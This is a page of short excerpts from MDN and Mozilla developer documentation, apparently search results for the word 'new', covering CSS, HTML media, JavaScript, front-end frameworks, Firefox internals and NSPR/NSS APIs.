basic setup first, grab a copy of our custom-controls-start.html, custom-controls.css, rabbit320.mp4, and rabbit320.webm files and save them in a new directory on your hard drive.
... create a new file called main.js and save it in the same directory.
...for example, some users may not be able to hear the audio because they are in noisy environments (like a crowded bar when a sports game is being shown) or might not want to disturb others if they are in a quiet place (like a library.) this is not a new concept — television services have had closed captioning available for quite a long time: whereas many countries offer english films with subtitles written in their own native languages, and different language subtitles are often available on dvds, for example there are different types of text track with different purposes.
... we've not written a new set of assessments for this article, because there are already assessments available in our html multimedia and embedding module that test your knowledge of the information presented here.
Fundamental CSS comprehension - Learn web development
starting point to get this assessment started, you should: go and grab the html file for the exercise, and the associated image file, and save them in a new directory on your local computer.
... basic setup: first of all, create a new file in the same directory as your html and image files.
...after you've finished rejoicing at your good fortune, copy and paste them into the top of your new css file.
... new rulesets you need to write: write a ruleset that targets both the card header, and card footer, giving them both a computed total height of 50px (including a content height of 30px and padding of 10px on all sides.) but express it in ems.
Floats - Learn web development
the kind of thing you might get in a newspaper layout.
...there are newer, better layout techniques available and so use of floats in this way should be regarded as a legacy technique.
...you can follow along by creating a new index.html file on your computer, filling it with a simple html template, and inserting the below code into it at the appropriate places.
...there are three potential ways to deal with this, two of which work in all browsers — yet are slightly hacky — and a third new way that deals with this situation properly.
Introduction to CSS layout - Learn web development
multi-column layout — the multi-column layout properties can cause the content of a block to layout in columns, as you might see in a newspaper.
...if you create a link around some text inside a paragraph, that link remains inline with the rest of the text, and doesn’t break onto a new line.
... sticky positioning is a newer positioning method which makes an element act like position: static until it hits a defined offset from the viewport, at which point it acts like position: fixed.
...input { width: 300px; } form p { display: table-caption; caption-side: bottom; width: 300px; color: #999; font-style: italic; } this gives us the following result: you can also see this example live at css-tables-example.html (see the source code too.) multi-column layout the multi-column layout module gives us a way to lay out content in columns, similar to how text flows in a newspaper.
CSS FAQ - Learn web development
LearnCSSHowtoCSS FAQ
new html pages are expected to be designed for standards-compliant browsers, and as a result, pages with a modern doctype declaration will be rendered with standards mode.
... <style type="text/css"> .news { background: black; color: white; } .today { font-weight: bold; } </style> <div class="news today"> ...
... content of today's news ...
... .news { color: black; } .corpname { font-weight: bold; color: red; } <!-- news item text is black, but corporate name is red and in bold --> <div class="news"> (reuters) <span class="corpname">general electric</span> (ge.nys) announced on thursday...
Web fonts - Learn web development
make a copy of these files in a new directory on your computer now.
...multiple declarations can be listed, separated by commas — the browser will search through them and use the first one it can find that it understands — it is therefore best to put newer, better formats like woff2 earlier on, and older, not so good formats like ttf later on.
...in newer browsers, you can also specify a unicode-range value, which is a specific range of characters you want to use out of the web font — in supporting browsers, only the specified characters will be downloaded, saving unnecessary downloading.
... variable fonts there is a newer font technology available in browsers called variable fonts — these are fonts that allow many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style.
Creating hyperlinks - Learn web development
for example, the bbc homepage contains a many links that point not only to multiple news stories, but also different areas of the site (navigation functionality), login/registration pages (user tools), and more.
... e-mail links it's possible to create links or buttons that, when clicked, open a new outgoing email message rather than linking to a resource or page.
...if you omit it and your href is simply "mailto:"), a new outgoing email window will be opened by the user's email client with no destination address.
...the most commonly used of these are "subject", "cc", and "body" (which is not a true header field, but allows you to specify a short content message for the new email).
Responsive images - Learn web development
note: the new features discussed in this article — srcset/sizes/<picture> — are all supported in release versions of modern desktop and mobile browsers (including microsoft's edge browser, although not internet explorer.) how do you create responsive images?
...the standard <img> element traditionally only lets you point the browser to a single source file: <img src="elva-fairy-800w.jpg" alt="elva dressed as a fairy"> we can however use two new attributes — srcset and sizes — to provide several additional source images along with hints to help the browser pick the right one.
... use modern image formats boldly there are several exciting new image formats (such as webp and jpeg-2000) that can maintain a low file size and high quality at the same time.
... summary that's a wrap for responsive images — we hope you enjoyed playing with these new techniques.
Video and audio content - Learn web development
fortunately, a few years later the html5 specification had such features added, with the <video> and <audio> elements, and some shiny new javascript apis for controlling them.
...here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> the resulting ui looks something like this: the new features are: width and height you can control the video size either with these attributes or with css.
... we would like you to: save your audio and video files in a new directory on your computer.
... create a new html file in the same directory, called index.html.
HTML table advanced features and accessibility - Learn web development
active learning: adding table structure let's put these new elements into action.
... first of all, make a local copy of spending-record.html and minimal-table.css in a new folder.
... the scope attribute a new topic for this article is the scope attribute, which can be added to the <th> element to tell screenreaders exactly what cells the header is a header for — is it a header for the row it is in, or the column, for example?
... active learning: playing with scope and headers for this final exercise, we'd like you to first make local copies of items-sold.html and minimal-table.css, in a new directory.
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
the following function creates a new date() object, extracts a time string out of it using tolocaletimestring(), and then displays it in the ui.
... it then runs the function once per second using setinterval(), creating the effect of a digital clock that updates once per second (see this live, and also see the source): function displaytime() { let date = new date(); let time = date.tolocaletimestring(); document.getelementbyid('demo').textcontent = time; } const createclock = setinterval(displaytime, 1000); just like settimeout(), setinterval() returns an identifying value you can use later when you need to clear the interval.
... ...actually, it's about every 6.5 frames, as we update posx (character's position on the screen) by two each frame: if (posx > width/2) { newstartpos = -( (width/2) + 102 ); posx = math.ceil(newstartpos / 13) * 13; console.log(posx); } else { posx += 2; } this is the code that calculates how to update the position in each animation frame.
...you also use settimeout() to call reset() after 5 seconds — as explained earlier, this function resets the game back to its original state so that a new game can be started.
Manipulating documents - Learn web development
you can use this object to return and manipulate information on the html and css that comprises the document, for example get a reference to an element in the dom, change its text content, apply new styles to it, create new elements and add them to the current element as children, or even delete it altogether.
... creating and placing new nodes the above has given you a little taste of what you can do, but let's go further and look at how we can create new elements.
... going back to the current example, let's start by grabbing a reference to our <section> element — add the following code at the bottom of your existing script (do the same with the other lines too): const sect = document.queryselector('section'); now let's create a new paragraph using document.createelement() and give it some text content in the same way as before: const para = document.createelement('p'); para.textcontent = 'we hope you enjoyed the ride.'; you can now append the new paragraph at the end of the section using node.appendchild(): sect.appendchild(para); finally for this part, let's add a text node to the paragraph the link sits inside, to round off the sentence nicely.
... create three new elements — a list item (<li>), <span>, and <button>, and store them in variables.
Test your skills: Object-oriented JavaScript - Learn web development
we want you to: add a new method to the shape class's prototype, calcperimeter(), which calculates its perimeter (the length of the shape's outer edge) and logs the result to the console.
... create a new instance of the shape class called square.
... create a new instance of shape called triangle, with a name of triangle and a sidelength of 3.
... test that it works by creating the square and triangle object instances as before (using new shape() for both), and then calling their calcperimeter() methods.
Introduction to the server side - Learn web development
a new html page, or an image, etc...), which could then be displayed by the web browser.
... note: visit a newspaper site that has a subscription model and open a bunch of tabs (e.g.
... a few examples include: facebook and twitter send emails and sms messages to notify you of new communications.
...pick almost any large site that you are interested in (google, amazon, instagram, etc.) and create a new account using your email address.
Beginning our React todo list - Learn web development
the jsx copy the following snippet to your clipboard, then paste it into app.js so that it replaces the existing app() function: function app(props) { return ( <div classname="todoapp stack-large"> <h1>todomatic</h1> <form> <h2 classname="label-wrapper"> <label htmlfor="new-todo-input" classname="label__lg"> what needs to be done?
... </label> </h2> <input type="text" id="new-todo-input" classname="input input__lg" name="text" autocomplete="off" /> <button type="submit" classname="btn btn__primary btn__lg"> add </button> </form> <div classname="filters btn-group stack-exception"> <button type="button" classname="btn toggle-btn" aria-pressed="true"> <span classname="visually-hidden">show </span> <span>all</span> <span classname="visually-hidden"> tasks</span> </button> <button type="button" classname="btn toggle-btn" aria-pressed="false"> <span classname="visually-hidden">show </span> <span>active</span> <span classname=...
...first, consider the jsx we have, and how it corresponds to our user stories: we have a <form> element, with an <input type="text"> for writing out a new task, and a button to submit the form.
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Styling Vue components with CSS - Learn web development
update your todoform template so that it looks like this: <template> <form @submit.prevent="onsubmit"> <h2 class="label-wrapper"> <label for="new-todo-input" class="label__lg"> what needs to be done?
... </label> </h2> <input type="text" id="new-todo-input" name="new-todo" autocomplete="off" v-model.lazy.trim="label" class="input__lg" /> <button type="submit" class="btn btn__primary btn__lg"> add </button> </form> </template> let's also add the stack-large class to the <ul> tag in our app.vue file.
... to use the scoped modifier, create a <style> element inside todoitem.vue, at the bottom of the file, and give it a scoped attribute: <style scoped> </style> next, copy the following css into the newly created <style> element: .custom-checkbox > .checkbox-label { font-family: arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; font-weight: 400; font-size: 16px; font-size: 1rem; line-height: 1.25; color: #0b0c0c; display: block; margin-bottom: 5px; } .custom-checkbox > .checkbox { font-family: arial, sans-serif; -webkit-font-smoo...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Accessibility/LiveRegionDevGuide
in iaccessible2, iaccessibletext::get_oldtext and iaccessibletext::get_newtext are used to acquire the text and offsets.
... assertive: the queue should be purged of 'polite' messages and the new message should be added to the queue.
... rude: the queue should be purged of 'polite' and 'assertive' messages and the new message should be added to the queue.
...the offsets can be acquired directly in a text changed event object in at-spi and through the use of iaccessibletext::get_oldtext and iaccessibletext::get_newtext in iaccessible2.
Software accessibility: Where are we today?
ensure correct keyboard accessibility when developing new controls: mozilla's xul and html widgets already support proper keyboard accessibility, so let's not regress in that area.
... make sure that every new ui control that's developed provides the correct keyboard support.
... follow the accessible toolkit checklist whenever using xbl to create a new widget.
... support msaa and atk via nsiaccessible when developing new controls: mozilla is a great position to provide context so that custom controls can be made accessible.
Theme concepts
if you have a lightweight theme it will be converted to this new theme format automatically before lightweight themes are deprecated.
...however, please feel free to update your themes to use any of the new features described here.
... updating static themes if your static theme is hosted on amo, you can upload a new version using the developer hub with the following steps: visit the product page for your theme through the developer hub select "upload new version" on the left upload your packaged file for validation or modify it using the theme generator for self-hosted static themes, a new version can be updated through amo by following the above steps or be handled by you through an updateurl or exte...
...a new version will need to be signed through the developer hub.
Creating a spell check dictionary add-on
if you are creating a new dictionary, as opposed to updating an existing one, please make sure that there is not already a dictionary available for your locale.
... <!-- seamonkey --> <em:targetapplication> <description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.15a1</em:minversion> <em:maxversion>2.49</em:maxversion> </description> </em:targetapplication> </description> </rdf> there are some rules about how you should adapt the install.rdf file: if you are creating a new dictionary add-on, we recommend that the em:id consists of your locale code followed by @dictionaries.addons.mozilla.org, but if there is more than one dictionary for your language (for example the german "old spelling" versus "new spelling" dictionaries), you may need to choose another id, that follows the rules of em:id.
... the em:version should follow the rules of mozilla add-on version numbers, and if you update an existing dictionary add-on, the new version number must be greater than the old one.
...if you set em:minversion to a lower value, gecko 10-17 will not be able to update your dictionary add-on once the restartless dictionary is installed (bug 782118), and gecko 10-16 may warn the user that your dictionary is not compatible, when users try to update to a newer version of firefox/thunderbird (bug 782115).
How Mozilla's build system works
however, one was updated as a result of the new configuration.
... creating new variables whose name is not uppercase (this includes defining functions).
...you will probably not need to create a new library of this type.
...as an example, below is a portion of the makefile for libmsgbaseutil, which is linked against by all of the main news components: depth = ../../..
Updating NSPR or NSS in mozilla-central
if you check in an individual change by mistake, your change will be lost when the nspr and nss teams push a new hg tag to mozilla-central.
... (because some developers might not be aware that nspr/nss are separately maintained and released, the mozilla hg server rejects accidental changes/forking, if the required keywords are missing in the commit comment.) if nspr or nss must be upgraded to a new static tag, follow this procedure: before starting, make sure your local repository is updated to mozilla-central tip and that there are no local changes: $ hg status -mard pull the new sources $ python client.py update_nspr nspr_tag_name or $ python client.py update_nss nss_tag_name if you update a branch older than mozilla 17 (without the change from bug 782784), you must manually add a dummy change (add or remove a blank line) to force a rebuild of nspr: mozilla/nsprpub/config/prdepend.h or nss: mozilla/sec...
... check for new or removed files $ hg addremove -n review the output to make sure it looks correct update the minimum required system nss version in old-configure.in.
...for example, in the following, "3.16.1" would be replaced with the new nss version.
Eclipse CDT Manual Setup
whenever you create a new workspace for a mozilla source tree, you should be sure to turn off the following two settings in the workspace preferences (window > preferences, or eclipse > preferences) before creating a project in that workspace: in "general > workspace", disable "build automatically" in "c/c++ > indexer", disable "automatically update the index" turning off automatic indexing prevents the cpu intensiv...
...(sadly, there is no auto-activation option to activate autocomplete suggestion., so as soon as you type any alphabetical character that may begin with a symbol name like there is in other ides.) select "c/c++ > editor > save actions" and deselect "ensure newline at the end of file".
... creating an eclipse project to create an eclipse project for your mozilla source tree, select "file > new > makefile project with existing code".
... in cdt 8.3 (unreleased as of august 2013), there will be a more user-friendly way to specify this (see http://wiki.eclipse.org/cdt/user/newin83#toolchains).
Interface Compatibility
as we add new features to the web and to our applications, programming interfaces change.
...any changes, including new features, must have super-review.
...achieving this compatibility may require rebuilding the extension with a new version of the jetpack sdk.
... where appropriate, new apis should be designed so that they are compatible with future plans, and clients do not need xpcom boilerplate.
Experimental features in Firefox
in order to test new features, mozilla publishes a test version of the firefox browser, firefox nightly, every day.
... webgpu api this new api provides low-level support for performing computation and graphics rendering using the graphics processing unit (gpu) of the user's device or computer.
... nightly 63 no developer edition 63 no beta 63 no release 63 starting in firefox 68, on android only preference name dom.visualviewport.enabled constructable stylesheets the addition of a constructor to the cssstylesheet interface as well as a variety of related changes makes it possible to directly create new stylesheets without having to add the sheet to the html.
...we experiment with new ideas, add new features, and test them on the nightly and developer edition channels before letting them go through to beta and release.
Performance
and since frame scripts get evaluated for each tab this means new function objects get instantiated, new constants get computed, block scopes must be set up etc.
... store heavyweight state once per process bad: // addon.js var main = new myaddonservice(); main.onchange(statechange); function statechange() { services.mm.broadcastasyncmessage("my-addon:update-configuration", {newconfig: main.serialize()}) } // framescript.js var maincopy; function onupdate(message) { maincopy = myaddonservice.deserialize(message.data.newconfig); } addmessagelistener("my-addon:update-configuration", onupdate) // maincopy used by other f...
... better: // addon.js var main = new myaddonservice(); main.onchange(statechange); function statechange() { services.ppmm.broadcastasyncmessage("my-addon:update-configuration", {newconfig: main.serialize()}) } // processmodule.jsm const exported_symbols = ['getmaincopy']; var maincopy; services.cpmm.addmessagelistener("my-addon:update-configuration", function(message) { maincopy = message.data.newconfig; }) funtion getmaincopy() { return maincopy; } // framescript.js components.utils.import("resource://my-addon/processmodule.jsm") // getmaincopy() used b...
...it can also lead to conflicts between the old and new code.
mozbrowsericonchange
the mozbrowsericonchange event is sent when a new icon (e.g.
... details the details property returns an anonymous javascript object with the following properties: href a domstring representing the path to the new icon.
... sizes a domstring listing the sizes the new icon is available in, e.g.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsericonchange", function( event ) { console.log("the url of the new favicon is:" + event.details.href); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
Embedding Tips
normally it provide some functionality that is required from lots of places such as looking up preference settings, creating new windows, locating files, displaying prompt or password dialog boxes and so on.
...the nsiwindowcreator::createchromewindow method will be called whenever gecko needs to open a new window.
... this method should create the new browser window in the specified style and hand back the nsiwebbrowserchrome interface to it.
... if you want to create your component multiple times within the browser window, you can use a javascript constructor instead of a javascript property: catman->addcategoryentry("javascript global constructor", "my_prop_name", "my_prop_contract_id", pr_true, pr_true, getter_copies(previous)); that way you will be able to do: var my_comp = new my_prop_name(); this was taken from weirdal's excellent "burning chrome" article.
How to Report a Hung Firefox
create a new bug report at bugzilla.mozilla.org using this link.
... create a new bug report at bugzilla.mozilla.org using this link.
... create a new bug report at bugzilla.mozilla.org using this link.
...browser = win.gbrowser.selectedbrowser; if (browser.isremotebrowser) { browser.messagemanager.loadframescript('data:,let appinfo = components.classes["@mozilla.org/xre/app-info;1"];if (appinfo && appinfo.getservice(components.interfaces.nsixulruntime).processtype != components.interfaces.nsixulruntime.process_type_default) {components.utils.import("resource://gre/modules/ctypes.jsm");var zero = new ctypes.intptr_t(8);var badptr = ctypes.cast(zero, ctypes.pointertype(ctypes.int32_t));var crash = badptr.contents;}', true); } other techniques on os x if you use a nightly build (>= firefox 16), you can use activity monitor's "sample process" feature to generate a sample.
AddonUpdateChecker
if all you care about is finding the newest version for an addon then you probably want to use findupdates() instead.
... to import the addonupdatechecker, use: components.utils.import("resource://gre/modules/addonupdatechecker.jsm"); method overview updateinfo getcompatibilityupdate(in updateinfo updates[], in string version, in boolean ignorecompatibility, in string appversion, in string platformversion) updateinfo getnewestcompatibleupdate(in updateinfo updates[], in string appversion, in string platformversion) void checkforupdates(in string id, in string type, in string updatekey, string url, in updatechecklistener listener) constants constant description error_timeout the update check timed out.
... updateinfo getcompatibilityupdate( in updateinfo updates[], in string version, in boolean ignorecompatibility, in string appversion, in string platformversion ) parameters updates an array of update objects version the version of the add-on to get new compatibility information for ignorecompatibility an optional parameter to get the first compatibility update that is compatible with any version of the application or toolkit appversion the version of the application or null to use the current version platformversion the version of the platform or null to use the current version getnewestcompatibleupdate() returns the newest available u...
... updateinfo getnewestcompatibleupdate( in updateinfo updates[], in string appversion, in string platformversion ) parameters updates an array of update objects appversion the version of the application or null to use the current version platformversion the version of the platform or null to use the current version checkforupdates() starts an update check.
UpdateListener
either onupdateavailable() or onnoupdateavailable(), depending on whether a newer version of the addon was found.
... void oncompatibilityupdateavailable( in addon addon ) parameters addon the addon that was being checked for updates onnocompatibilityupdateavailable() called when the update check found no new compatibility information for the application and platform version that the update check was being performed for.
... void onnocompatibilityupdateavailable( in addon addon ) parameters addon the addon that was being checked for updates onupdateavailable() called when a new version of an add-on has been found for install.
... void onupdateavailable( in addon addon, in addoninstall install ) parameters addon the addon that was being checked for updates install an addoninstall for the updated version onnoupdateavailable() called when no new version of an add-on has been found for install.
DeferredTask.jsm
with deferredtask, the task is delayed by a few milliseconds and, should a new change to the data occur during this period, only the final version of the data is actually written; a further grace delay is added to take into account other changes.
... the deferredtask constructor requires gecko 18.0(firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) if you have a function call you want to defer for two seconds, you can do so using the deferredtask constructor, like this: var task = new deferredtask(myfunction, 2000); you can also pass a generator function as the first argument of constructor.
... if the task is not running and the timer is armed, then the task is started immediately, and the returned promise resolves when the new execution terminates.
... a common use case occurs when a data structure should be saved into a file every time the data changes, using asynchronous calls, and multiple changes to the data may happen within a short time: let savedeferredtask = new deferredtask(function* () { yield os.file.writeatomic(...); // any uncaught exception will be reported.
FxAccountsProfileClient.jsm
components.utils.import("resource://gre/modules/fxaccountsprofileclient.jsm"); creating a new fxaccountsprofileclient new fxaccountsprofileclient(object options); method overview fetchprofile(); attributes serverurl url profiler server url.
... constructor fxaccountsprofileclient() creates and returns a new fxaccountsprofileclient object.
... return value a newly created fxaccountsprofileclient object implementing the methods described in this article.
... examples using the fxaccountsprofileclient chrome code let client = new fxaccountsprofileclient({ serverurl: "https://profile.accounts.firefox.com/v1", token: "fxa_oauth_bearer_token", }); client.fetchprofile().then(profile => console.log(profile)); error handling the fxaccountsprofileclient.jsm normalizes request and client errors into fxaccountsprofileclienterror object.
Log.jsm
log.addappender(new log.consoleappender(new log.basicformatter())); // a dump appender logs to stdout.
... log.addappender(new log.dumpappender(new log.basicformatter())); // log some messages log.error("oh noes!!
... something bad happened!"); log.debug("details about bad thing only useful during debugging", {someinfo: "nothing"}); log.warn("here is an error", new error("ouch")); logger levels fatal severe errors that cause premature termination.
...rs(); and the methods mentioned below: logger methods loggerrepository(); length: 0 keys of prototype: getlogger(); rootlogger storagestreamappender(); length: 1 keys of prototype: doappend(); getinputstream(); newoutputstream(); outputstream reset(); structuredformatter(); length: 0 keys of prototype: format(); method overview enumerateinterfaces(); length: 0 enumerateproperties(); length: 2 member fields variable type descript...
PopupNotifications.jsm
show() adds a new popup notification, displaying it to the user.
...only one notification for each id can be visible at a time; if one with the specified id already exists, it will be replaced with the newer notification.
...setting this property will make the prompt display a "learn more" link that, when clicked, opens the url in a new tab.
... "removed" the notification has been removed, either by the user taking action on the notification or by the browser being navigated to a new location.
SourceMap.jsm
new sourcemapconsumer(rawsourcemap) the only parameter is the raw source map (either as a string which can be json.parse'd, or an object).
... new sourcemapgenerator(startofsourcemap) to create a new one, you must pass an object with the following properties: file: the filename of the generated source that this source map is associated with.
... new sourcenode(line, column, source[, chunk]) line: the original line number associated with this source node, or null if it isn't associated with an original line.
... the arguments are the same as those to new sourcemapgenerator.
Sqlite.jsm
if the path does not exist, a new sqlite database will be created.
... setschemaversion(value) sets value as the new version associated with the schema for the current database.
...this saves time associated with parsing the sql statement and creating a new statement object.
... conn.executetransaction(async function complextransaction() { await conn.execute("insert into mytable values (?, ?)", ["foo", "bar"]); let data = await conn.execute("select * from mytable"); if (data.length < 5) { throw new error("we don't have the expected 5 rows to perform the next operation!"); } // ...
Using JavaScript code modules
if your extension or application needs to support mozilla 1.9.x (firefox 3.x), you should register a new resource url.
... sharing objects using code modules an extremely important behavior of components.utils.import() is that modules are cached when loaded and subsequent imports do not reload a new version of the module, but instead use the previously cached version.
...once this method has been called, references to the module will continue to work but any subsequent import of the module will reload it and give a new reference.
...resource://gre/modules/services.jsm"); var resprot = services.io.getprotocolhandler("resource") .queryinterface(components.interfaces.nsiresprotocolhandler); var aliasfile = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); aliasfile.initwithpath("/some/absolute/path"); var aliasuri = services.io.newfileuri(aliasfile); resprot.setsubstitution("myalias", aliasuri); // assuming the code modules are in the alias folder itself notes custom modules and xpcom components note that prior to gecko 2.0 javascript xpcom components are loaded before chrome registration.
Localization technical reviews
the technical review process we use for new localizations can be confusing for any trying to start a new localization.
...here is a detailed overview of what a technical review is and who it's meant for: a technical review: is performed as a qa measure on a revision pushed to a new locale's l10n aurora repo in mercurial.
... is only performed on the first revision a new locale wants to have released to the public.
... compare-locale we run the compare-locales tool on the new locale to get the statistics on translation of strings and report basic errors.
about:memory
once firefox's memory usage has gotten high) open a new tab and type "about:memory" into the address bar and hit "enter".
... explicit allocations this section contains a single tree, called "explicit", that measures all the memory allocated via explicit calls to heap allocation functions (such as malloc and new) and to non-heap allocations functions (such as mmap and virtualalloc).
... ├───40,214,384 b (04.17%) -- add-ons │ ├──21,184,320 b (02.20%) ++ {d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}/js-non-window/zones/zone(0x100496800)/compartment([system principal], jar:file:///users/njn/library/application%20support/firefox/profiles/puna0zr8.new/extensions/%7bd10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d%7d.xpi!/bootstrap.js (from: resource://gre/modules/addons/xpiprovider.jsm:4307)) │ ├──11,583,312 b (01.20%) ++ jid1-xufzosoflzsoxg@jetpack/js-non-window/zones/zone(0x100496800) │ ├───5,574,608 b (00.58%) -- {59c81df5-4b7a-477b-912d-4e0fdf64e5f2} │ │ ├──5,529,280 b (00.57%) -- window-objects │ │ │ ├...
...──4,175,584 b (00.43%) ++ top(chrome://chatzilla/content/chatzilla.xul, id=4293) │ │ │ └──1,353,696 b (00.14%) ++ top(chrome://chatzilla/content/output-window.html, id=4298) │ │ └─────45,328 b (00.00%) ++ js-non-window/zones/zone(0x100496800)/compartment([system principal], file:///users/njn/library/application%20support/firefox/profiles/puna0zr8.new/extensions/%7b59c81df5-4b7a-477b-912d-4e0fdf64e5f2%7d/components/chatzilla-service.js) │ └───1,872,144 b (00.19%) ++ treestyletab@piro.sakura.ne.jp/js-non-window/zones/zone(0x100496800) more things worth pointing out are as follows.
Profile Manager
firefox provides a built-in applet to manage these profiles, but it will eventually be going away (see bug 214675), so a new standalone profile manager application has been created, which works with any xulrunner application, and has many features not found in firefox's built-in version.
... creating a profile to create a new profile, just click the new button from profile manager's toolbar.
... launch option command line argument run firefox in offline mode -offline run firefox in safe mode -safe-mode start firefox with a console -console start new instance -no-remote note: it isn't possible to start a second instance of firefox without passing it the -no-remote command line argument.
... rename - allows you to specify a new name for the profile.
Nonblocking IO In NSPR
in nspr, a new socket returned by <tt>pr_newtcpsocket()</tt> or <tt>pr_newudpsocket()</tt> is always created in blocking mode.
... one can make the new socket nonblocking by using <tt>pr_setsockopt()</tt> as in the example below (error checking is omitted for clarity): <tt>prfiledesc *sock;</tt> <tt>printn optval = 1;</tt> <tt>sock = pr_newtcpsocket();</tt> /* * make the socket nonblocking */ pr_setsockopt(sock, pr_sockopt_nonblocking, &optval, sizeof(optval)); programming constraints there are some constraints due to the use of nt asynchronous i/o in the nspr.
...so the first constraint is: the blocking/nonblocking io mode of a new socket is committed the first time a potentially-blocking io function is invoked on the socket.
...there is a second constraint, due to the use of nt asynchronous i/o and the recycling of used sockets: the new socket returned by <tt>pr_accept()</tt> or <tt>pr_acceptread()</tt> inherits the blocking/nonblocking io mode of the listening socket and this cannot be changed.
PL_HashTableAdd
add a new entry with the specified key and value to the hash table.
... returns a pointer to the new entry.
... description add a new entry with the specified key and value to the hash table.
... pl_hashtableadd returns null if there is not enough memory to create a new entry.
PR_Accept
syntax #include <prio.h> prfiledesc* pr_accept( prfiledesc *fd, prnetaddr *addr, printervaltime timeout); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing the rendezvous socket on which the caller is willing to accept new connections.
... returns the function returns one of the following values: upon successful acceptance of a connection, a pointer to a new prfiledesc structure representing the newly accepted connection.
...pr_accept accepts the first connection from the queue of pending connections and creates a new socket for the newly accepted connection.
... pr_accept blocks the calling thread until either a new connection is successfully accepted or an error occurs.
Process Management and Interprocess Communication
nspr provides routines to create a new process and to wait for the termination of another process.
...the newly-created process executes its program from the beginning.
... a new process can inherit specified file descriptors from its parent, and the parent can redirect the standard i/o streams of the child process to specified file descriptors.
... process management types and constants the types defined for process management are: prprocess prprocessattr process management functions the process manipulation function fall into these categories: setting the attributes of a new process creating and managing processes setting the attributes of a new process the functions that create and manipulate attribute sets of new processes are: pr_newprocessattr pr_resetprocessattr pr_destroyprocessattr pr_processattrsetstdioredirect pr_processattrsetcurrentdirectory pr_processattrsetinheritablefd creating and managing processes the functions that create and manage processes are: pr_createprocess pr_detachp...
Cryptography functions
pk11_exportencryptedprivkeyinfo mxr 3.9 and later pk11_exportprivatekeyinfo mxr 3.2 and later pk11_finalize mxr 3.2 and later pk11_findbestkeamatch mxr 3.2 and later pk11_findcertandkeybyrecipientlist mxr 3.2 and later pk11_findcertandkeybyrecipientlistnew mxr 3.2 and later pk11_findcertbyissuerandsn mxr 3.2 and later pk11_findcertfromdercert mxr 3.2 and later pk11_findcertfromnickname mxr 3.2 and later pk11_findcertinslot mxr 3.2 and later pk11_findgenericobjects mxr 3.9.2 and later ...
....11 and later pk11_freesymkey mxr 3.2 and later pk11_generatefortezzaiv mxr 3.2 and later pk11_generatekeypair mxr 3.2 and later pk11_generatekeypairwithflags mxr 3.10.2 and later pk11_generatekeypairwithopflags mxr 3.12 and later pk11_generatenewparam mxr 3.2 and later pk11_generaterandom mxr 3.2 and later pk11_generaterandomonslot mxr 3.11 and later pk11_getalltokens mxr 3.2 and later pk11_getallslotsforcert mxr 3.12 and later pk11_getbestkeylength mxr 3.2 and later pk11_g...
...updated 3.8 with new options.
... sec_deletepermcrl mxr 3.2 and later sec_dersigndata mxr 3.2 and later sec_destroycrl mxr 3.2 and later sec_findcrlbydercert mxr 3.2 and later sec_findcrlbyname mxr 3.2 and later sec_lookupcrls mxr 3.2 and later sec_newcrl mxr 3.2 and later sec_quickderdecodeitem mxr 3.6 and later seckey_cachestaticflags mxr 3.10 and later seckey_converttopublickey mxr 3.2 and later seckey_copyprivatekey mxr 3.2 and later seckey_copypublickey mxr 3.6 and later sec...
Encrypt Decrypt MAC Keys As Session Objects
secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *ivitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigne...
...temp = pr_write(outfile, decbuf, decbuflen); if (temp != decbuflen) { pr_fprintf(pr_stderr, "write error\n"); rv = secfailure; break; } /* save last block of ciphertext */ memcpy(iv, decbuf, decbuflen); ivlen = decbuflen; blocknumber++; } if (rv != secsuccess) { goto cleanup; } rv = macfinal(ctxmac, newmac, &newmaclen, sizeof(newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data, newmac, newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); pri...
